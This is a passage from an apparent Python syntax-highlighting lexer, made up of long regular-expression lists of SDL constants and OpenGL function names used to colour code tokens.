r'SDL_HAPTIC_SAWTOOTHDOWN|'\n r'SDL_HAPTIC_SAWTOOTHUP|'\n r'SDL_HAPTIC_SINE|'\n r'SDL_HAPTIC_SPHERICAL|'\n r'SDL_HAPTIC_SPRING|'\n r'SDL_HAPTIC_STATUS|'\n r'SDL_HAPTIC_TRIANGLE|'\n r'SDL_HAT_CENTERED|'\n r'SDL_HAT_DOWN|'\n r'SDL_HAT_LEFT|'\n r'SDL_HAT_LEFTDOWN|'\n r'SDL_HAT_LEFTUP|'\n r'SDL_HAT_RIGHT|'\n r'SDL_HAT_RIGHTDOWN|'\n r'SDL_HAT_RIGHTUP|'\n r'SDL_HAT_UP|'\n r'SDL_HINT_ACCELEROMETER_AS_JOYSTICK|'\n r'SDL_HINT_ALLOW_TOPMOST|'\n r'SDL_HINT_FRAMEBUFFER_ACCELERATION|'\n r'SDL_HINT_GAMECONTROLLERCONFIG|'\n r'SDL_HINT_GRAB_KEYBOARD|'\n r'SDL_HINT_IDLE_TIMER_DISABLED|'\n r'SDL_HINT_JOYSTICK_ALLOW_BACKGROUND_EVENTS|'\n r'SDL_HINT_MAC_CTRL_CLICK_EMULATE_RIGHT_CLICK|'\n r'SDL_HINT_MOUSE_RELATIVE_MODE_WARP|'\n r'SDL_HINT_ORIENTATIONS|'\n r'SDL_HINT_RENDER_DIRECT|'\n r'SDL_HINT_RENDER_DRIVER|'\n r'SDL_HINT_RENDER_OPENGL_SHADERS|'\n r'SDL_HINT_RENDER_SCALE_QUALITY|'\n r'SDL_HINT_RENDER_VSYNC|'\n r'SDL_HINT_TIMER_RESOLUTION|'\n r'SDL_HINT_VIDEO_ALLOW_SCREENSAVER|'\n r'SDL_HINT_VIDEO_HIGHDPI_DISABLED|'\n r'SDL_HINT_VIDEO_MAC_FULLSCREEN_SPACES|'\n r'SDL_HINT_VIDEO_MINIMIZE_ON_FOCUS_LOSS|'\n r'SDL_HINT_VIDEO_WINDOW_SHARE_PIXEL_FORMAT|'\n r'SDL_HINT_VIDEO_WIN_D|'\n r'SDL_HINT_VIDEO_X|'\n r'SDL_HINT_WINRT_HANDLE_BACK_BUTTON|'\n r'SDL_HINT_WINRT_PRIVACY_POLICY_LABEL|'\n r'SDL_HINT_WINRT_PRIVACY_POLICY_URL|'\n r'SDL_HINT_XINPUT_ENABLED|'\n r'SDL_ICONV_E|'\n r'SDL_ICONV_EILSEQ|'\n r'SDL_ICONV_EINVAL|'\n r'SDL_ICONV_ERROR|'\n r'SDL_IGNORE|'\n r'SDL_INIT_AUDIO|'\n r'SDL_INIT_EVENTS|'\n r'SDL_INIT_EVERYTHING|'\n r'SDL_INIT_GAMECONTROLLER|'\n r'SDL_INIT_HAPTIC|'\n r'SDL_INIT_JOYSTICK|'\n r'SDL_INIT_NOPARACHUTE|'\n r'SDL_INIT_TIMER|'\n r'SDL_INIT_VIDEO|'\n r'SDL_INLINE|'\n r'SDL_INPUT_LINUXEV|'\n r'SDL_INPUT_LINUXKD|'\n r'SDL_INVALID_SHAPE_ARGUMENT|'\n r'SDL_ISPIXELFORMAT_ALPHA|'\n r'SDL_ISPIXELFORMAT_FOURCC|'\n r'SDL_ISPIXELFORMAT_INDEXED|'\n r'SDL_JOYSTICK_LINUX|'\n r'SDL_LIL_ENDIAN|'\n r'SDL_LINE|'\n r'SDL_LOADSO_DLOPEN|'\n r'SDL_MAIN_AVAILABLE|'\n r'SDL_MAIN_NEEDED|'\n r'SDL_MAJOR_VERSION|'\n r'SDL_MAX_LOG_MESSAGE|'\n r'SDL_MINOR_VERSION|'\n r'SDL_MIX_MAXVOLUME|'\n r'SDL_MUSTLOCK|'\n r'SDL_MUTEX_MAXWAIT|'\n r'SDL_MUTEX_TIMEDOUT|'\n r'SDL_NAME|'\n r'SDL_NONSHAPEABLE_WINDOW|'\n r'SDL_NULL_WHILE_LOOP_CONDITION|'\n r'SDL_PASSED_BEGINTHREAD_ENDTHREAD|'\n r'SDL_PATCHLEVEL|'\n r'SDL_PIXELFLAG|'\n r'SDL_PIXELLAYOUT|'\n r'SDL_PIXELORDER|'\n r'SDL_PIXELTYPE|'\n r'SDL_POWER_LINUX|'\n r'SDL_PREALLOC|'\n r'SDL_PRESSED|'\n r'SDL_QUERY|'\n r'SDL_RELEASED|'\n r'SDL_REVISION|'\n r'SDL_REVISION_NUMBER|'\n r'SDL_RLEACCEL|'\n r'SDL_RW|'\n r'SDL_RWOPS_JNIFILE|'\n r'SDL_RWOPS_MEMORY|'\n r'SDL_RWOPS_MEMORY_RO|'\n r'SDL_RWOPS_STDFILE|'\n r'SDL_RWOPS_UNKNOWN|'\n r'SDL_RWOPS_WINFILE|'\n r'SDL_SCANCODE_TO_KEYCODE|'\n r'SDL_SHAPEMODEALPHA|'\n r'SDL_SWSURFACE|'\n r'SDL_TABLESIZE|'\n r'SDL_TEXTEDITINGEVENT_TEXT_SIZE|'\n r'SDL_TEXTINPUTEVENT_TEXT_SIZE|'\n r'SDL_THREAD_PTHREAD|'\n r'SDL_THREAD_PTHREAD_RECURSIVE_MUTEX|'\n r'SDL_TICKS_PASSED|'\n r'SDL_TIMER_UNIX|'\n r'SDL_TOUCH_MOUSEID|'\n r'SDL_VERSION|'\n r'SDL_VERSIONNUM|'\n r'SDL_VERSION_ATLEAST|'\n r'SDL_VIDEO_DRIVER_DUMMY|'\n r'SDL_VIDEO_DRIVER_X|'\n r'SDL_VIDEO_OPENGL|'\n r'SDL_VIDEO_OPENGL_GLX|'\n r'SDL_VIDEO_RENDER_OGL|'\n r'SDL_WINDOWPOS_CENTERED|'\n r'SDL_WINDOWPOS_CENTERED_DISPLAY|'\n r'SDL_WINDOWPOS_CENTERED_MASK|'\n r'SDL_WINDOWPOS_ISCENTERED|'\n r'SDL_WINDOWPOS_ISUNDEFINED|'\n r'SDL_WINDOWPOS_UNDEFINED|'\n r'SDL_WINDOWPOS_UNDEFINED_DISPLAY|'\n r'SDL_WINDOWPOS_UNDEFINED_MASK|'\n r'SDL_WINDOW_ALLOW_HIGHDPI|'\n r'SDL_WINDOW_BORDERLESS|'\n r'SDL_WINDOW_FOREIGN|'\n r'SDL_WINDOW_FULLSCREEN|'\n r'SDL_WINDOW_HIDDEN|'\n r'SDL_WINDOW_INPUT_FOCUS|'\n r'SDL_WINDOW_INPUT_GRABBED|'\n r'SDL_WINDOW_LACKS_SHAPE|'\n r'SDL_WINDOW_MAXIMIZED|'\n r'SDL_WINDOW_MINIMIZED|'\n r'SDL_WINDOW_MOUSE_FOCUS|'\n r'SDL_WINDOW_OPENGL|'\n r'SDL_WINDOW_RESIZABLE|'\n r'SDL_WINDOW_SHOWN|'\n r'SDL_GL_ACCELERATED_VISUAL|'\n r'SDL_GL_ACCUM_ALPHA_SIZE|'\n r'SDL_GL_ACCUM_BLUE_SIZE|'\n r'SDL_GL_ACCUM_GREEN_SIZE|'\n r'SDL_GL_ACCUM_RED_SIZE|'\n r'SDL_GL_ALPHA_SIZE|'\n r'SDL_GL_B|'\n r'SDL_GL_BLUE_SIZE|'\n r'SDL_GL_BUFFER_SIZE|'\n r'SDL_GL_C|'\n r'SDL_GL_CONTEXT_DEBUG_FLAG|'\n r'SDL_GL_CONTEXT_EGL|'\n r'SDL_GL_CONTEXT_FLAGS|'\n r'SDL_GL_CONTEXT_FORWARD_COMPATIBLE_FLAG|'\n r'SDL_GL_CONTEXT_MAJOR_VERSION|'\n r'SDL_GL_CONTEXT_MINOR_VERSION|'\n r'SDL_GL_CONTEXT_PROFILE_COMPATIBILITY|'\n r'SDL_GL_CONTEXT_PROFILE_CORE|'\n r'SDL_GL_CONTEXT_PROFILE_ES|'\n r'SDL_GL_CONTEXT_PROFILE_MASK|'\n r'SDL_GL_CONTEXT_RESET_ISOLATION_FLAG|'\n r'SDL_GL_CONTEXT_ROBUST_ACCESS_FLAG|'\n r'SDL_GL_D|'\n r'SDL_GL_DEPTH_SIZE|'\n r'SDL_GL_DOUBLEBUFFER|'\n r'SDL_GL_E|'\n r'SDL_GL_FRAMEBUFFER_SRGB_CAPABLE|'\n r'SDL_GL_G|'\n r'SDL_GL_GREEN_SIZE|'\n r'SDL_GL_L|'\n r'SDL_GL_M|'\n r'SDL_GL_MULTISAMPLEBUFFERS|'\n r'SDL_GL_MULTISAMPLESAMPLES|'\n r'SDL_GL_R|'\n r'SDL_GL_RED_SIZE|'\n r'SDL_GL_RETAINED_BACKING|'\n r'SDL_GL_S|'\n r'SDL_GL_SHARE_WITH_CURRENT_CONTEXT|'\n r'SDL_GL_STENCIL_SIZE|'\n r'SDL_GL_STEREO|'\n r'SDL_GL_U'\n\t\t\t\t\t\t r')\\b', String),#Keyword.Builtin),\n\n (r'(glAttachShader|'\n r'glBeginQuery|'\n r'glBindAttribLocation|'\n r'glBindBuffer|'\n r'glBlendEquationSeparate|'\n r'glBlendFuncSeparate|'\n r'glBufferData|'\n r'glBufferSubData|'\n r'glCompileShader|'\n r'glCreateProgram|'\n r'glCreateShader|'\n r'glDeleteBuffers|'\n r'glDeleteProgram|'\n r'glDeleteQueries|'\n r'glDeleteShader|'\n r'glDetachShader|'\n r'glDisableVertexAttribArray|'\n r'glDrawBuffers|'\n r'glEnableVertexAttribArray|'\n r'glEndQuery|'\n r'glGenQueries|'\n r'glGetActiveAttrib|'\n r'glGetActiveUniform|'\n r'glGetAttachedShaders|'\n r'glGetAttribLocation|'\n r'glGetBufferParameteriv|'\n r'glGetBufferPointerv|'\n r'glGetBufferSubData|'\n r'glGenBuffers|'\n r'glGetProgramiv|'\n r'glGetProgramInfoLog|'\n r'glGetQueryiv|'\n r'glGetQueryObjectiv|'\n r'glGetQueryObjectuiv|'\n r'glGetShaderiv|'\n r'glGetShaderInfoLog|'\n r'glGetShaderSource|'\n r'glGetUniformfv|'\n r'glGetUniformiv|'\n r'glGetUniformLocation|'\n r'glGetVertexAttribdv|'\n r'glIsBuffer|'\n r'glIsProgram|'\n r'glIsQuery|'\n r'glIsShader|'\n r'glLinkProgram|'\n r'glMapBuffer|'\n r'glMultiDrawElements|'\n r'glPointParameterf|'\n r'glPointParameterfv|'\n r'glShaderSource|'\n r'glSecondaryColor3b|'\n r'glSecondaryColor3d|'\n r'glSecondaryColor3f|'\n r'glSecondaryColor3i|'\n r'glSecondaryColor3s|'\n r'glSecondaryColor3ub|'\n r'glSecondaryColor3ui|'\n r'glSecondaryColor3us|'\n r'glSecondaryColor3bv|'\n r'glSecondaryColor3dv|'\n r'glSecondaryColor3fv|'\n r'glSecondaryColor3iv|'\n r'glSecondaryColor3sv|'\n r'glSecondaryColor3ubv|'\n r'glSecondaryColor3uiv|'\n r'glSecondaryColor3usv|'\n r'glSecondaryColorPointer|'\n r'glStencilFuncSeparate|'\n r'glStencilMaskSeparate|'\n r'glStencilOpSeparate|'\n r'glUniform1i|'\n r'glUniform2i|'\n r'glUniform3i|'\n r'glUniform4i|'\n r'glUniform1f|'\n r'glUniform2f|'\n r'glUniform3f|'\n r'glUniform4f|'\n r'glUniform1iv|'\n r'glUniform2iv|'\n r'glUniform3iv|'\n r'glUniform4iv|'\n r'glUniform1fv|'\n r'glUniform2fv|'\n r'glUniform3fv|'\n r'glUniform4fv|'\n r'glUniformMatrix2fv|'\n r'glUniformMatrix3fv|'\n r'glUniformMatrix4fv|'\n r'glUniformMatrix2x3fv|'\n r'glUniformMatrix2x4fv|'\n r'glUniformMatrix3x2fv|'\n r'glUniformMatrix3x4fv|'\n r'glUniformMatrix4x2fv|'\n r'glUniformMatrix4x3fv|'\n r'glUnmapBuffer|'\n r'glUseProgram|'\n r'glValidateProgram|'\n r'glVertexAttrib1s|'\n r'glVertexAttrib1f|'\n r'glVertexAttrib1d|'\n r'glVertexAttrib2s|'\n r'glVertexAttrib2f|'\n r'glVertexAttrib2d|'\n r'glVertexAttrib3s|'\n r'glVertexAttrib3f|'\n r'glVertexAttrib3d|'\n r'glVertexAttrib4s|'\n r'glVertexAttrib4f|'\n r'glVertexAttrib4d|'\n r'glVertexAttrib4Nub|'\n r'glVertexAttrib1sv|'\n r'glVertexAttrib1fv|'\n r'glVertexAttrib1dv|'\n r'glVertexAttrib2sv|'\n r'glVertexAttrib2fv|'\n r'glVertexAttrib2dv|'\n r'glVertexAttrib3sv|'\n r'glVertexAttrib3fv|'\n r'glVertexAttrib3dv|'\n r'glVertexAttrib4bv|'\n r'glVertexAttrib4sv|'\n r'glVertexAttrib4iv|'\n r'glVertexAttrib4ubv|'\n r'glVertexAttrib4usv|'\n r'glVertexAttrib4uiv|'\n r'glVertexAttrib4fv|'\n r'glVertexAttrib4dv|'\n r'glVertexAttrib4Nbv|'\n r'glVertexAttrib4Nsv|'\n r'glVertexAttrib4Niv|'\n r'glVertexAttrib4Nubv|'\n r'glVertexAttrib4Nusv|'\n r'glVertexAttrib4Nuiv|'\n r'glVertexAttribPointer|'\n r'glWindowPos2d|'\n r'glWindowPos2f|'\n r'glWindowPos2i|'\n r'glWindowPos2s|'\n r'glWindowPos2iv|'\n r'glWindowPos2sv|'\n r'glWindowPos2fv|'\n r'glWindowPos2dv|'\n r'glWindowPos3i|'\n r'glWindowPos3s|'\n r'glWindowPos3f|'\n r'glWindowPos3d|'\n r'glWindowPos3iv|'\n r'glWindowPos3sv|'\n r'glWindowPos3fv|'\n r'glWindowPos3dv|'\n r'glBeginConditionalRender|'\n r'glBeginTransformFeedback|'\n r'glBindBufferBase|'\n r'glBindBufferRange|'\n r'glBindFragDataLocation|'\n r'glBindFramebuffer|'\n r'glBindRenderbuffer|'\n r'glBindVertexArray|'\n r'glCheckFramebufferStatus|'\n r'glClampColor|'\n r'glClearBufferiv|'\n r'glClearBufferfv|'\n r'glClearBufferuiv|'\n r'glClearBufferfi|'\n r'glColorMaski|'\n r'glDeleteFramebuffers|'\n r'glDeleteRenderbuffers|'\n r'glDeleteVertexArrays|'\n r'glDisablei|'\n r'glEnablei|'\n r'glEndConditionalRender|'\n r'glEndTransformFeedback|'\n r'glFlushMappedBufferRange|'\n r'glFramebufferRenderbuffer|'\n r'glFramebufferTexture|'\n r'glFramebufferTexture1D|'\n r'glFramebufferTexture2D|'\n r'glFramebufferTexture3D|'\n r'glFramebufferTextureLayer|'\n r'glGenerateMipmap|'\n r'glGenFramebuffers|'\n r'glGenRenderbuffers|'\n r'glGenVertexArrays|'\n r'glGetAttribIiv|'\n r'glGetAttribIuiv|'\n r'glGetBooleani_v|'\n r'glGetIntegeri_v|'\n r'glGetFragDataLocation|'\n r'glGetFramebufferAttachmentParameteriv|'\n r'glGetRenderbufferParameteriv|'\n r'glGetStringi|'\n r'glGetTexParameterIiv|'\n r'glGetTexParameterIuiv|'\n r'glGetTransformFeedbackVarying|'\n r'glGetUniformuiv|'\n r'glIsEnabledi|'\n r'glIsFramebuffer|'\n r'glIsRenderbuffer|'\n r'glIsVertexArray|'\n r'glMapBufferRange|'\n r'glRenderbufferStorage|'\n r'glRenderbufferStorageMultisample|'\n r'glTexParameterIiv|'\n r'glTexParameterIuiv|'\n r'glTransformFeedbackVaryings|'\n r'glUniform1ui|'\n r'glUniform2ui|'\n r'glUniform3ui|'\n r'glUniform4ui|'\n r'glUniform1uiv|'\n r'glUniform2uiv|'\n r'glUniform3uiv|'\n r'glUniform4uiv|'\n r'glVertexAttribI1i|'\n r'glVertexAttribI2i|'\n r'glVertexAttribI3i|'\n r'glVertexAttribI4i|'\n r'glVertexAttribI1ui|'\n r'glVertexAttribI2ui|'\n r'glVertexAttribI3ui|'\n r'glVertexAttribI4ui|'\n r'glVertexAttribI1iv|'\n r'glVertexAttribI2iv|'\n r'glVertexAttribI3iv|'\n r'glVertexAttribI4iv|'\n r'glVertexAttribI1uiv|'\n r'glVertexAttribI2uiv|'\n r'glVertexAttribI3uiv|'\n r'glVertexAttribI4uiv|'\n r'glVertexAttribI4bv|'\n r'glVertexAttribI4sv|'\n r'glVertexAttribI4ubv|'\n r'glVertexAttribI4usv|'\n r'glVertexAttribIPointer|'\n r'glBlitFramebuffer|'\n r'glCopyBufferSubData|'\n r'glDrawArraysInstanced|'\n r'glDrawElementsInstanced|'\n r'glGetActiveUniformBlockiv|'\n r'glGetActiveUniformBlockName|'\n r'glGetActiveUniformsiv|'\n r'glGetActiveUniformName|'\n r'glGetUniformBlockBinding|'\n r'glGetUniformBlockIndex|'\n r'glGetUniformIndices|'\n r'glGetVertexAttribIiv|'\n r'glGetVertexAttribIuiv|'\n r'glMultiDrawArrays|'\n r'glPrimitiveRestartIndex|'\n r'glTexBuffer|'\n r'glUniformBlockBinding|'\n r'glClientWaitSync|'\n r'glDeleteSync|'\n r'glFenceSync|'\n r'glGetBufferParameteri64v|'\n r'glGetInteger64i_v|'\n r'glGetInteger64v|'\n r'glGetMultisamplefv|'\n r'glGetSynciv|'\n r'glIsSync|'\n r'glProvokingVertex|'\n r'glTexImage2DMultisample|'\n r'glTexImage3DMultisample|'\n r'glWaitSync|'\n r'glBindSampler|'\n r'glBindFragDataLocationIndexed|'\n r'glDeleteSamplers|'\n r'glDrawElementsBaseVertex|'\n r'glDrawRangeElementsBaseVertex|'\n r'glDrawElementsInstancedBaseVertex|'\n r'glGenSamplers|'\n r'glGetFragDataIndex|'\n r'glIsSampler|'\n r'glMultiDrawElementsBaseVertex|'\n r'glQueryCounter|'\n r'glGetQueryObjecti64v|'\n r'glGetQueryObjectui64v|'\n r'glGetSamplerParameteriv|'\n r'glGetSamplerParameterfv|'\n r'glGetSamplerParameterIiv|'\n r'glGetSamplerParameterIuiv|'\n r'glSamplerParameteri|'\n r'glSamplerParameterf|'\n r'glSamplerParameteriv|'\n r'glSamplerParameterfv|'\n r'glSamplerParameterIiv|'\n r'glSamplerParameterIuiv|'\n r'glVertexAttribDivisor|'\n r'glVertexAttribP1ui|'\n r'glVertexAttribP2ui|'\n r'glVertexAttribP3ui|'\n r'glVertexAttribP4ui|'\n r'glVertexAttribP1uiv|'\n r'glVertexAttribP2uiv|'\n r'glVertexAttribP3uiv|'\n r'glVertexAttribP4uiv|'\n r'glBindTransformFeedback|'\n r'glBeginQueryIndexed|'\n r'glBlendEquationi|'\n r'glBlendEquationSeparatei|'\n r'glBlendFunci|'\n r'glBlendFuncSeparatei|'\n r'glDeleteTransformFeedbacks|'\n r'glDrawArraysIndirect|'\n r'glDrawElementsIndirect|'\n r'glDrawTransformFeedback|'\n r'glDrawTransformFeedbackStream|'\n r'glEndQueryIndexed|'\n r'glGenTransformFeedbacks|'\n r'glGetActiveSubroutineName|'\n r'glGetActiveSubroutineUniformiv|'\n r'glGetActiveSubroutineUniformName|'\n r'glGetProgramStageiv|'\n r'glGetQueryIndexediv|'\n r'glGetSubroutineIndex|'\n r'glGetSubroutineUniformLocation|'\n r'glGetUniformdv|'\n r'glGetUniformSubroutineuiv|'\n r'glIsTransformFeedback|'\n r'glMinSampleShading|'\n r'glPatchParameteri|'\n r'glPatchParameterfv|'\n r'glPauseTransformFeedback|'\n r'glResumeTransformFeedback|'\n r'glUniform1d|'\n r'glUniform2d|'\n r'glUniform3d|'\n r'glUniform4d|'\n r'glUniform1dv|'\n r'glUniform2dv|'\n r'glUniform3dv|'\n r'glUniform4dv|'\n r'glUniformMatrix2dv|'\n r'glUniformMatrix3dv|'\n r'glUniformMatrix4dv|'\n r'glUniformMatrix2x3dv|'\n r'glUniformMatrix2x4dv|'\n r'glUniformMatrix3x2dv|'\n r'glUniformMatrix3x4dv|'\n r'glUniformMatrix4x2dv|'\n r'glUniformMatrix4x3dv|'\n r'glUniformSubroutinesuiv|'\n r'glActiveShaderProgram|'\n r'glBindProgramPipeline|'\n r'glClearDepthf|'\n r'glCreateShaderProgramv|'\n r'glDeleteProgramPipelines|'\n r'glDepthRangef|'\n r'glDepthRangeArrayv|'\n r'glDepthRangeIndexed|'\n r'glGenProgramPipelines|'\n r'glGetDoublei_v|'\n r'glGetFloati_v|'\n r'glGetProgramBinary|'\n r'glGetProgramPipelineInfoLog|'\n r'glGetProgramPipelineiv|'\n r'glGetShaderPrecisionFormat|'\n r'glGetVertexAttribLdv|'\n r'glIsProgramPipeline|'\n r'glProgramBinary|'\n r'glProgramParameteri|'\n r'glProgramUniform1i|'\n r'glProgramUniform2i|'\n r'glProgramUniform3i|'\n r'glProgramUniform4i|'\n r'glProgramUniform1f|'\n r'glProgramUniform2f|'\n r'glProgramUniform3f|'\n r'glProgramUniform4f|'\n r'glProgramUniform1d|'\n r'glProgramUniform2d|'\n r'glProgramUniform3d|'\n r'glProgramUniform4d|'\n r'glProgramUniform1iv|'\n r'glProgramUniform2iv|'\n r'glProgramUniform3iv|'\n r'glProgramUniform4iv|'\n r'glProgramUniform1fv|'\n r'glProgramUniform2fv|'\n r'glProgramUniform3fv|'\n r'glProgramUniform4fv|'\n r'glProgramUniform1dv|'\n r'glProgramUniform2dv|'\n r'glProgramUniform3dv|'\n r'glProgramUniform4dv|'\n r'glProgramUniform1ui|'\n r'glProgramUniform2ui|'\n r'glProgramUniform3ui|'\n r'glProgramUniform4ui|'\n r'glProgramUniform1uiv|'\n r'glProgramUniform2uiv|'\n r'glProgramUniform3uiv|'\n r'glProgramUniform4uiv|'\n r'glProgramUniformMatrix2fv|'\n r'glProgramUniformMatrix3fv|'\n r'glProgramUniformMatrix4fv|'\n r'glProgramUniformMatrix2dv|'\n r'glProgramUniformMatrix3dv|'\n r'glProgramUniformMatrix4dv|'\n r'glProgramUniformMatrix2x3fv|'\n r'glProgramUniformMatrix2x4fv|'\n r'glProgramUniformMatrix3x2fv|'\n r'glProgramUniformMatrix3x4fv|'\n r'glProgramUniformMatrix4x2fv|'\n r'glProgramUniformMatrix4x3fv|'\n r'glProgramUniformMatrix2x3dv|'\n r'glProgramUniformMatrix2x4dv|'\n r'glProgramUniformMatrix3x2dv|'\n r'glProgramUniformMatrix3x4dv|'\n r'glProgramUniformMatrix4x2dv|'\n r'glProgramUniformMatrix4x3dv|'\n r'glReleaseShaderCompiler|'\n r'glScissorArrayv|'\n r'glScissorIndexed|'\n r'glScissorIndexedv|'\n r'glShaderBinary|'\n r'glUseProgramStages|'\n r'glValidateProgramPipeline|'\n r'glViewportArrayv|'\n r'glViewportIndexedf|'\n r'glViewportIndexedfv|'\n r'glVertexAttribL1d|'\n r'glVertexAttribL2d|'\n r'glVertexAttribL3d|'\n r'glVertexAttribL4d|'\n r'glVertexAttribL1dv|'\n r'glVertexAttribL2dv|'\n r'glVertexAttribL3dv|'\n r'glVertexAttribL4dv|'\n r'glVertexAttribLPointer|'\n r'glDrawArraysInstancedBaseInstance|'\n r'glDrawElementsInstancedBaseInstance|'\n r'glDrawElementsInstancedBaseVertexBaseInstance|'\n r'glGetInternalFormativ|'\n r'glGetActiveAtomicCounterBufferiv|'\n r'glBindImageTexture|'\n r'glMemoryBarrier|'\n r'glTexStorage1D|'\n r'glTexStorage2D|'\n r'glTexStorage3D|'\n r'glTextureStorage1DEXT|'\n r'glTextureStorage2DEXT|'\n r'glTextureStorage3DEXT|'\n r'glDrawTransformFeedbackInstanced|'\n r'glDrawTransformFeedbackStreamInstanced|'\n r'glClearBufferData|'\n r'glClearBufferSubData|'\n r'glClearNamedBufferDataEXT|'\n r'glClearNamedBufferSubDataEXT|'\n r'glDispatchCompute|'\n r'glDispatchComputeIndirect|'\n r'glCopyImageSubData|'\n r'glFramebufferParameteri|'\n r'glGetFramebufferParameteriv|'\n r'glNamedFramebufferParameteriEXT|'\n r'glGetNamedFramebufferParameterivEXT|'\n r'glGetInternalFormati64v|'\n r'glInvalidateTexSubImage|'\n r'glInvalidateTexImage|'\n r'glInvalidateBufferSubData|'\n r'glInvalidateBufferData|'\n r'glInvalidateFramebuffer|'\n r'glInvalidateSubFramebuffer|'\n r'glMultiDrawArraysIndirect|'\n r'glMultiDrawElementsIndirect|'\n r'glGetProgramInterfaceiv|'\n r'glGetProgramResourceIndex|'\n r'glGetProgramResourceName|'\n r'glGetProgramResourceiv|'\n r'glGetProgramResourceLocation|'\n r'glGetProgramResourceLocationIndex|'\n r'glShaderStorageBlockBinding|'\n r'glTexBufferRange|'\n r'glTextureBufferRangeEXT|'\n r'glTexStorage2DMultisample|'\n r'glTexStorage3DMultisample|'\n r'glTextureStorage2DMultisampleEXT|'\n r'glTextureStorage3DMultisampleEXT|'\n r'glTextureView|'\n r'glBindVertexBuffer|'\n r'glVertexAttribFormat|'\n r'glVertexAttribIFormat|'\n r'glVertexAttribLFormat|'\n r'glVertexAttribBinding|'\n r'glVertexBindingDivisor|'\n r'glDebugMessageControl|'\n r'glDebugMessageInsert|'\n r'glDebugMessageCallback|'\n r'glGetDebugMessageLog|'\n r'glGetPointerv|'\n r'glPushDebugGroup|'\n r'glPopDebugGroup|'\n r'glObjectLabel|'\n r'glGetObjectLabel|'\n r'glObjectPtrLabel|'\n r'glGetObjectPtrLabel|'\n r'glBufferStorage|'\n r'glNamedBufferStorageEXT|'\n r'glClearTexImage|'\n r'glClearTexSubImage|'\n r'glBindBuffersBase|'\n r'glBindBuffersRange|'\n r'glBindTextures|'\n r'glBindSamplers|'\n r'glBindImageTextures|'\n r'glBindVertexBuffers|'\n r'glClipControl|'\n r'glCreateTransformFeedbacks|'\n r'glTransformFeedbackBufferBase|'\n r'glTransformFeedbackBufferRange|'\n r'glGetTransformFeedbackiv|'\n r'glGetTransformFeedback64_v|'\n r'glCreateBuffers|'\n r'glNamedBufferStorage|'\n r'glNamedBufferData|'\n r'glNamedBufferSubData|'\n r'glCopyNamedBufferSubData|'\n r'glClearNamedBufferData|'\n r'glClearNamedBufferSubData|'\n r'glMapNamedBuffer|'\n r'glMapNamedBufferRange|'\n r'glUnmapNamedBuffer|'\n r'glFlushMappedNamedBufferRange|'\n r'glGetNamedBufferParameteriv|'\n r'glGetNamedBufferParameter64v|'\n r'glGetNamedBufferPointerv|'\n r'glGetNamedBufferSubData|'\n r'glCreateFramebuffers|'\n r'glNamedFramebufferRenderbuffer|'\n r'glNamedFramebufferParameteri|'\n r'glNamedFramebufferTexture|'\n r'glNamedFramebufferTextureLayer|'\n r'glNamedFramebufferDrawBuffer|'\n r'glNamedFramebufferDrawBuffers|'\n r'glNamedFramebufferReadBuffer|'\n r'glInvalidateNamedFramebufferData|'\n r'glInvalidateNamedFramebufferSubData|'\n r'glClearNamedFramebufferiv|'\n r'glClearNamedFramebufferuiv|'\n r'glClearNamedFramebufferfv|'\n r'glClearNamedFramebufferfi|'\n r'glBlitNamedFramebuffer|'\n r'glCheckNamedFramebufferStatus|'\n r'glGetNamedFramebufferParameteriv|'\n r'glGetNamedFramebufferAttachmentParameteriv|'\n r'glCreateRenderbuffers|'\n r'glNamedRenderbufferStorage|'\n r'glNamedRenderbufferStorageMultisample|'\n r'glGetNamedRenderbufferParameteriv|'\n r'glCreateTextures|'\n r'glTextureBuffer|'\n r'glTextureBufferRange|'\n r'glTextureStorage1D|'\n r'glTextureStorage2D|'\n r'glTextureStorage3D|'\n r'glTextureStorage2DMultisample|'\n r'glTextureStorage3DMultisample|'\n r'glTextureSubImage1D|'\n r'glTextureSubImage2D|'\n r'glTextureSubImage3D|'\n r'glCompressedTextureSubImage1D|'\n r'glCompressedTextureSubImage2D|'\n r'glCompressedTextureSubImage3D|'\n r'glCopyTextureSubImage1D|'\n r'glCopyTextureSubImage2D|'\n r'glCopyTextureSubImage3D|'\n r'glGetInternalformativ|'\n r'glTexPageCommitmentARB|'\n r'glTextureParameterf|'\n r'glTextureParameterfv|'\n r'glTextureParameteri|'\n r'glTextureParameterIiv|'\n r'glTextureParameterIuiv|'\n r'glTextureParameteriv|'\n r'glGenerateTextureMipmap|'\n r'glBindTextureUnit|'\n r'glGetTextureImage|'\n r'glGetCompressedTextureImage|'\n r'glGetTextureLevelParameterfv|'\n r'glGetTextureLevelParameteriv|'\n r'glGetTextureParameterfv|'\n r'glGetTextureParameterIiv|'\n r'glGetTextureParameterIuiv|'\n r'glGetTextureParameteriv|'\n r'glCreateVertexArrays|'\n r'glDisableVertexArrayAttrib|'\n r'glEnableVertexArrayAttrib|'\n r'glVertexArrayElementBuffer|'\n r'glVertexArrayVertexBuffer|'\n r'glVertexArrayVertexBuffers|'\n r'glVertexArrayAttribFormat|'\n r'glVertexArrayAttribIFormat|'\n r'glVertexArrayAttribLFormat|'\n r'glVertexArrayAttribBinding|'\n r'glVertexArrayBindingDivisor|'\n r'glGetVertexArrayiv|'\n r'glGetVertexArrayIndexediv|'\n r'glGetVertexArrayIndexed64iv|'\n r'glCreateSamplers|'\n r'glCreateProgramPipelines|'\n r'glCreateQueries|'\n r'glMemoryBarrierByRegion|'\n r'glGetTextureSubImage|'\n r'glGetCompressedTextureSubImage|'\n r'glGetGraphicsResetStatus|'\n r'glReadnPixels|'\n r'glGetnUniformfv|'\n r'glGetnUniformiv|'\n r'glGetnUniformuiv|'\n r'glTextureBarrier|'\n r'glActiveTextureARB|'\n r'glClientActiveTextureARB|'\n r'glMultiTexCoord1dARB|'\n r'glMultiTexCoord1dvARB|'\n r'glMultiTexCoord1fARB|'\n r'glMultiTexCoord1fvARB|'\n r'glMultiTexCoord1iARB|'\n r'glMultiTexCoord1ivARB|'\n r'glMultiTexCoord1sARB|'\n r'glMultiTexCoord1svARB|'\n r'glMultiTexCoord2dARB|'\n r'glMultiTexCoord2dvARB|'\n r'glMultiTexCoord2fARB|'\n r'glMultiTexCoord2fvARB|'\n r'glMultiTexCoord2iARB|'\n r'glMultiTexCoord2ivARB|'\n r'glMultiTexCoord2sARB|'\n r'glMultiTexCoord2svARB|'\n r'glMultiTexCoord3dARB|'\n r'glMultiTexCoord3dvARB|'\n r'glMultiTexCoord3fARB|'\n r'glMultiTexCoord3fvARB|'\n r'glMultiTexCoord3iARB|'\n r'glMultiTexCoord3ivARB|'\n r'glMultiTexCoord3sARB|'\n 